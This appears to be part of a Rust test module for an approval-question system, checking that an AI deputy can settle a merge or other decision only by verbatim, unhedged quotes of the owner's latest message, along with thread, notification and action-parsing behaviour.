2874 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
2875 assert_eq!(parsed.who, Who::Agent);
2876 }
2877
2878 fn approval_question() -> Question {
2879 let mut q = Question::new(
2880 "run".into(),
2881 crate::land::APPROVAL_NODE.into(),
2882 "land".into(),
2883 "Merge?".into(),
2884 String::new(),
2885 vec!["merge".into(), "hold".into()],
2886 );
2887 let mut dep = Deputy::new("brief".into());
2888 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2889 q.deputy = Some(dep);
2890 q
2891 }
2892
2893 #[test]
2894 fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
2895 let mut q = approval_question();
2896 q.say("merge").unwrap();
2897 q.reply("sure?", vec!["merge".into(), "hold".into()])
2898 .unwrap();
2899 q.say(" Merge it please ").unwrap();
2900 assert!(
2901 q.settle_by_deputy("deputy-x", "merge", " ", None)
2902 .is_err(),
2903 "an empty quote is refused"
2904 );
2905 assert!(
2906 q.settle_by_deputy("deputy-x", "merge", "ship it", None)
2907 .is_err(),
2908 "a quote the owner never said is refused"
2909 );
2910 assert_eq!(q.status, QuestionStatus::Open);
2911 q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
2912 .unwrap();
2913 assert_eq!(q.resolution().as_deref(), Some("merge"));
2914 }
2915
2916 #[test]
2917 fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
2918 use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
2919 let mk = || {
2920 let mut q = Question::new(
2921 "run".into(),
2922 crate::github_text::ASK_NODE.into(),
2923 crate::github_text::ASK_SEAT.into(),
2924 "s".into(),
2925 String::new(),
2926 vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
2927 );
2928 let mut dep = Deputy::new("brief".into());
2929 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2930 q.deputy = Some(dep);
2931 q
2932 };
2933 let mut hedged = mk();
2934 hedged.say("Post the original, maybe?").unwrap();
2935 assert!(
2936 hedged
2937 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
2938 .is_err()
2939 );
2940 let mut clear = mk();
2941 clear.say("Post the original text as it is.").unwrap();
2942 clear
2943 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
2944 .unwrap();
2945 assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
2946 let mut safe = mk();
2948 safe.say("use the fallback").unwrap();
2949 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
2950 .unwrap();
2951 }
2952
2953 #[test]
2954 fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
2955 use crate::github_text::{USE_FALLBACK, USE_REWRITE};
2956 let mk = || {
2957 let mut q = Question::new(
2958 "run".into(),
2959 crate::github_text::ASK_NODE.into(),
2960 crate::github_text::ASK_SEAT.into(),
2961 "s".into(),
2962 String::new(),
2963 vec![USE_FALLBACK.into(), USE_REWRITE.into()],
2964 );
2965 let mut dep = Deputy::new("brief".into());
2966 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
2967 q.deputy = Some(dep);
2968 q
2969 };
2970 let mut hedged = mk();
2971 hedged.say("Use the rewrite, maybe?").unwrap();
2972 assert!(
2973 hedged
2974 .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
2975 .is_err()
2976 );
2977 let mut clear = mk();
2978 clear.say("Use the rewrite text as it is.").unwrap();
2979 clear
2980 .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite text", None)
2981 .unwrap();
2982 assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
2983 let mut safe = mk();
2985 safe.say("use the fallback").unwrap();
2986 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
2987 .unwrap();
2988 }
2989
2990 #[test]
2991 fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
2992 let mk = |choices: Vec<String>| {
2993 let mut q = Question::new(
2994 String::new(),
2995 crate::bump::NOTICE_NODE.into(),
2996 "release-watch".into(),
2997 "Release?".into(),
2998 String::new(),
2999 choices,
3000 );
3001 let mut dep = Deputy::new("brief".into());
3002 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3003 q.deputy = Some(dep);
3004 q
3005 };
3006 let mut approval = mk(vec!["merge".into(), "hold".into()]);
3007 assert!(crate::deputy::merge_gated(&approval));
3008 approval.say("マージしていいよ").unwrap();
3009 assert!(
3010 approval
3011 .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3012 .is_err(),
3013 "a quote the owner never said is refused"
3014 );
3015 approval
3016 .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3017 .unwrap();
3018
3019 let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3020 assert!(!crate::deputy::merge_gated(&esc));
3021 esc.say("もう監視はいらない").unwrap();
3022 esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3023 .unwrap();
3024 assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3025 }
3026
3027 #[test]
3028 fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3029 let mut q = approval_question();
3030 q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3031 .unwrap();
3032 assert!(
3033 q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3034 .is_err(),
3035 "the quote must be the owner's"
3036 );
3037 assert!(
3038 q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3039 .is_err(),
3040 "`hold` still needs the whole message"
3041 );
3042 q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3043 .unwrap();
3044 assert_eq!(q.resolution().as_deref(), Some("merge"));
3045 }
3046
3047 fn settle_ready() -> Question {
3048 let mut q = Question::new(
3049 "task".to_owned(),
3050 "conduct".to_owned(),
3051 "conduct".to_owned(),
3052 "Done?".to_owned(),
3053 String::new(),
3054 vec!["yes".to_owned(), "no".to_owned()],
3055 );
3056 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3057 seat.turns = 1;
3058 let mut dep = Deputy::new("brief".to_owned());
3059 dep.seat = Some(seat);
3060 q.deputy = Some(dep);
3061 q.say("setup done, and file a follow-up").unwrap();
3062 q
3063 }
3064
3065 #[test]
3066 fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3067 let dir = tempfile::TempDir::new().unwrap();
3068 let store = Questions::at(dir.path().join("questions"));
3069 let mut q = settle_ready();
3070 let id = q.id.clone();
3071 store.put(&mut q).unwrap();
3072 store
3073 .update(&id, |q| {
3074 q.settle_by_deputy(
3075 "deputy-x",
3076 "yes",
3077 "setup done",
3078 Some(" no follow-up was queued "),
3079 )
3080 })
3081 .unwrap();
3082 let back = store.get(&id).unwrap();
3083 let turn = back.thread.last().unwrap();
3084 assert_eq!(turn.who, Who::Agent);
3085 assert!(turn.body.starts_with("Settled as `yes`"));
3086 assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3087 assert_eq!(back.thread[0].note, None);
3088 }
3089
3090 #[test]
3091 fn an_empty_or_blank_settle_note_is_no_note() {
3092 for note in [None, Some(""), Some(" \n ")] {
3093 let mut q = settle_ready();
3094 q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3095 .unwrap();
3096 assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3097 let json = serde_json::to_string(&q).unwrap();
3098 assert!(!json.contains("\"note\""), "no key when there is none");
3099 }
3100 }
3101
3102 #[test]
3103 fn a_refused_settle_leaves_no_note_behind() {
3104 let mut q = settle_ready();
3105 let before = q.thread.clone();
3106 assert!(
3107 q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3108 .is_err()
3109 );
3110 assert!(
3111 q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3112 .is_err()
3113 );
3114 assert_eq!(q.thread, before);
3115 assert_eq!(q.status, QuestionStatus::Open);
3116 }
3117
3118 #[test]
3119 fn a_turn_written_before_notes_existed_still_reads() {
3120 let t: Turn =
3121 serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3122 .unwrap();
3123 assert_eq!(t.note, None);
3124 }
3125
3126 #[test]
3127 fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3128 let mut q = approval_question();
3129 q.say("merge").unwrap();
3130 q.reply("sure?", vec!["merge".into(), "hold".into()])
3131 .unwrap();
3132 q.say("wait, hold off").unwrap();
3133 assert!(
3134 q.settle_by_deputy("deputy-x", "merge", "merge", None)
3135 .is_err()
3136 );
3137 assert_eq!(q.status, QuestionStatus::Open);
3138 }
3139
3140 #[test]
3141 fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3142 let mut q = Question::new(
3143 "task".to_owned(),
3144 "conduct".to_owned(),
3145 "conduct".to_owned(),
3146 "Done?".to_owned(),
3147 String::new(),
3148 vec!["yes".to_owned(), "no".to_owned()],
3149 );
3150 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3151 seat.turns = 1;
3152 let mut dep = Deputy::new("brief".to_owned());
3153 dep.seat = Some(seat);
3154 q.deputy = Some(dep);
3155 q.say("setup done, go ahead").unwrap();
3156
3157 assert!(
3158 q.settle_by_deputy("someone-else", "yes", "setup done", None)
3159 .is_err()
3160 );
3161 assert!(
3162 q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3163 .is_err()
3164 );
3165 assert!(
3166 q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3167 .is_err()
3168 );
3169 assert!(q.settle_by_deputy("deputy-x", "yes", " ", None).is_err());
3170 assert_eq!(q.status, QuestionStatus::Open);
3171
3172 q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3173 .unwrap();
3174 assert_eq!(q.status, QuestionStatus::Answered);
3175 assert_eq!(q.resolution().as_deref(), Some("yes"));
3176 let last = q.thread.last().unwrap();
3177 assert_eq!(last.who, Who::Agent);
3178 assert!(
3179 last.body.contains("setup done"),
3180 "the quote stays on the record"
3181 );
3182 }
3183
3184 #[test]
3185 fn a_question_written_before_deputies_still_reads() {
3186 let mut q = Question::new(
3187 "task".to_owned(),
3188 "conduct".to_owned(),
3189 "conduct".to_owned(),
3190 "Done?".to_owned(),
3191 String::new(),
3192 Vec::new(),
3193 );
3194 q.schema = 4;
3195 let mut v = serde_json::to_value(&q).unwrap();
3196 v.as_object_mut().unwrap().remove("deputy");
3197 let back: Question = serde_json::from_value(v).unwrap();
3198 assert!(back.deputy.is_none());
3199 }
3200
3201 #[test]
3202 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3203 let mut q = choice_question();
3204 q.say("does the cache need eviction?").unwrap();
3205 assert_eq!(q.thread.len(), 1);
3206 assert_eq!(q.thread[0].who, Who::Operator);
3207 assert_eq!(q.thread[0].body, "does the cache need eviction?");
3208 assert_eq!(q.status, QuestionStatus::Open);
3211 assert!(q.answer.is_none());
3212 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3213 }
3214
3215 #[test]
3216 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3217 let mut answered = choice_question();
3218 answered
3219 .answer(Answer::Choice("SQLite".to_owned()))
3220 .unwrap();
3221 let a = answered.say("still there?").unwrap_err().to_string();
3222 assert!(a.contains("already answered"), "{a}");
3223 let b = answered
3224 .reply("still there?", vec![])
3225 .unwrap_err()
3226 .to_string();
3227 assert!(b.contains("already answered"), "{b}");
3228
3229 let mut abandoned = choice_question();
3230 abandoned.abandon("timed out");
3231 let c = abandoned.say("hello?").unwrap_err().to_string();
3232 assert!(c.contains("abandoned"), "{c}");
3233
3234 let mut open = choice_question();
3235 let d = open.say(" ").unwrap_err().to_string();
3236 assert!(d.contains("empty"), "{d}");
3237 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
3238 assert!(e.contains("empty"), "{e}");
3239 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3240 }
3241
3242 #[test]
3243 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3244 let mut q = choice_question();
3245 q.say("SQLite or Redis, but what about disk space?")
3246 .unwrap();
3247 assert!(q.waiting_on_agent());
3248
3249 q.reply(
3250 "SQLite: it is one file, no server to run.",
3251 vec!["SQLite".to_owned()],
3252 )
3253 .unwrap();
3254
3255 assert_eq!(q.choices, ["SQLite"]);
3256 assert!(
3257 !q.waiting_on_agent(),
3258 "the agent spoke, so the owner is the one being waited on now"
3259 );
3260 assert_eq!(q.thread.len(), 2);
3261 assert_eq!(q.thread[1].who, Who::Agent);
3262
3263 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3265 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3266 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3267 }
3268
3269 #[test]
3270 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3271 let mut fresh = choice_question();
3272 assert!(
3273 fresh.should_notify(Timestamp::now()),
3274 "nobody has been notified yet, so the first ask always pages"
3275 );
3276
3277 fresh.say("why not Postgres?").unwrap();
3278 let just_said = fresh.thread[0].at;
3279 assert!(
3280 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3281 "still on the screen a minute later; no need to page again"
3282 );
3283 assert!(
3284 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
3285 "exactly the window: `>` means this side stays quiet"
3286 );
3287 assert!(
3288 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
3289 "past the window: they may have walked away"
3290 );
3291 }
3292
3293 #[test]
3294 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
3295 let (_dir, s) = store();
3296 let mut q = choice_question();
3297 s.put(&mut q).unwrap();
3298 q.say("why not Postgres?").unwrap();
3299 s.put(&mut q).unwrap();
3300 q.reply("no server to run", vec!["SQLite".to_owned()])
3301 .unwrap();
3302 s.put(&mut q).unwrap();
3303
3304 assert_eq!(
3305 s.count_open(),
3306 1,
3307 "one question that talked twice is still one open question"
3308 );
3309 assert_eq!(s.open_for(&q.run).len(), 1);
3310 }
3311
3312 #[tokio::test]
3313 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
3314 let (dir, s) = store();
3315 let mut q = choice_question();
3316 let id = q.id.clone();
3317 let writer = Questions::at(dir.path().join("questions"));
3318 let handle = tokio::spawn(async move {
3319 tokio::time::sleep(Duration::from_millis(30)).await;
3320 let mut fresh = writer.get(&id).expect("the question was filed first");
3321 fresh.say("why not Postgres?").unwrap();
3322 writer.put(&mut fresh).unwrap();
3323 });
3324
3325 let got = wait_for_owner(
3326 &mut q,
3327 &s,
3328 &quiet(),
3329 Duration::from_secs(5),
3330 Duration::from_millis(10),
3331 )
3332 .await
3333 .unwrap();
3334
3335 handle.await.unwrap();
3336 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
3337 assert_eq!(
3338 q.status,
3339 QuestionStatus::Open,
3340 "talking back is not a decision; the question stays open"
3341 );
3342 assert!(q.answer.is_none());
3343 }
3344
3345 #[test]
3346 fn a_say_that_lands_before_the_agents_reply_stays_unread() {
3347 let mut q = choice_question();
3348 q.say("A").unwrap();
3349 q.delivered_turns = q.thread.len();
3350 q.say("B").unwrap();
3351 q.reply("about A", vec![]).unwrap();
3352 assert_eq!(q.unread_from_owner().as_deref(), Some("B"));
3353 q.delivered_turns = q.thread.len();
3354 assert_eq!(q.unread_from_owner(), None);
3355 }
3356
3357 #[test]
3358 fn a_say_before_the_answer_is_handed_over_ahead_of_it() {
3359 let (_d, s) = store();
3360 let mut q = choice_question();
3361 s.put(&mut q).unwrap();
3362 q.say("first").unwrap();
3363 q.say("second").unwrap();
3364 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3365 s.put(&mut q).unwrap();
3366 assert_eq!(q.unread_from_owner(), None, "closed: the guard stays");
3367 let mut out = Vec::new();
3368 deliver_answer(&s, &mut q, "SQLite", &mut out).unwrap();
3369 let shown = String::from_utf8(out).unwrap();
3370 let (a, b, c) = (
3371 shown.find("first").unwrap(),
3372 shown.find("second").unwrap(),
3373 shown.find("SQLite").unwrap(),
3374 );
3375 assert!(a < b && b < c, "{shown}");
3376 assert_eq!(q.delivered_turns, q.thread.len());
3377 assert!(q.answer_delivered);
3378 }
3379
3380 #[test]
3381 fn an_answer_alone_is_unchanged_and_delivered_says_are_not_repeated() {
3382 let mut q = choice_question();
3383 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3384 assert_eq!(answer_for_agent(&q, "SQLite"), "SQLite");
3385 let mut q = choice_question();
3386 q.say("old").unwrap();
3387 q.delivered_turns = q.thread.len();
3388 q.say("new").unwrap();
3389 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3390 let shown = answer_for_agent(&q, "SQLite");
3391 assert!(shown.contains("new") && !shown.contains("old"), "{shown}");
3392 }
3393
3394 #[test]
3395 fn action_specs_parse_strictly_and_must_name_an_offered_choice() {
3396 let choices = vec!["resume で続行する".to_owned(), "wait".to_owned()];
3397 let ok = parse_actions(
3398 &[
3399 "resume で続行する=resume".to_owned(),
3400 "wait=done".to_owned(),
3401 ],
3402 &choices,
3403 "run-1",
3404 )
3405 .unwrap();
3406 assert_eq!(
3407 ok["resume で続行する"],
3408 ChoiceAction::Resume {
3409 run: "run-1".into()
3410 }
3411 );
3412 assert_eq!(ok["wait"], ChoiceAction::Done);
3413
3414 let named = ChoiceAction::parse("x=resume:abcd", "").unwrap();
3415 assert_eq!(named.1, ChoiceAction::Resume { run: "abcd".into() });
3416 assert_eq!(
3417 ChoiceAction::parse("x=requeue", "").unwrap().1,
3418 ChoiceAction::Requeue
3419 );
3420
3421 for bad in [
3422 "no-equals",
3423 "=done",
3424 "x=resume",
3425 "x=resume:",
3426 "x=explode",
3427 "x=done:1",
3428 ] {
3429 assert!(ChoiceAction::parse(bad, "").is_err(), "{bad}");
3430 }
3431 assert!(parse_actions(&["ghost=done".to_owned()], &choices, "").is_err());
3432 assert!(
3433 parse_actions(
3434 &["wait=done".to_owned(), "wait=requeue".to_owned()],
3435 &choices,
3436 ""
3437 )
3438 .is_err()
3439 );
3440 }
3441
3442 #[test]
3443 fn only_a_chosen_label_with_an_action_is_actionable() {
3444 let mut q = choice_question();
3445 q.choices = vec!["resume".to_owned(), "SQLite".to_owned()];
3446 q.actions.insert("SQLite".to_owned(), ChoiceAction::Requeue);
3447 assert!(q.chosen_action().is_none(), "unanswered");
3448 q.answer(Answer::Choice("resume".to_owned())).unwrap();
3449 assert!(
3450 q.chosen_action().is_none(),
3451 "a label that merely reads like an action does nothing"
3452 );
3453
3454 let mut q2 = choice_question();
3455 q2.choices = vec!["SQLite".to_owned()];
3456 q2.actions
3457 .insert("SQLite".to_owned(), ChoiceAction::Requeue);
3458 q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3459 assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
3460 }
3461
3462 #[test]
3463 fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
3464 let mut q = choice_question();
3465 q.choices = vec!["A".to_owned(), "B".to_owned()];
3466 q.actions.insert("A".to_owned(), ChoiceAction::Done);
3467 q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
3468 q.reply("narrowing", vec!["B".to_owned()]).unwrap();
3469 assert_eq!(q.actions.len(), 1);
3470 assert!(q.actions.contains_key("B"));
3471
3472 let mut v = serde_json::to_value(&q).unwrap();
3473 v.as_object_mut().unwrap().remove("actions");
3474 let old: Question = serde_json::from_value(v).unwrap();
3475 assert!(old.actions.is_empty());
3476 }
3477}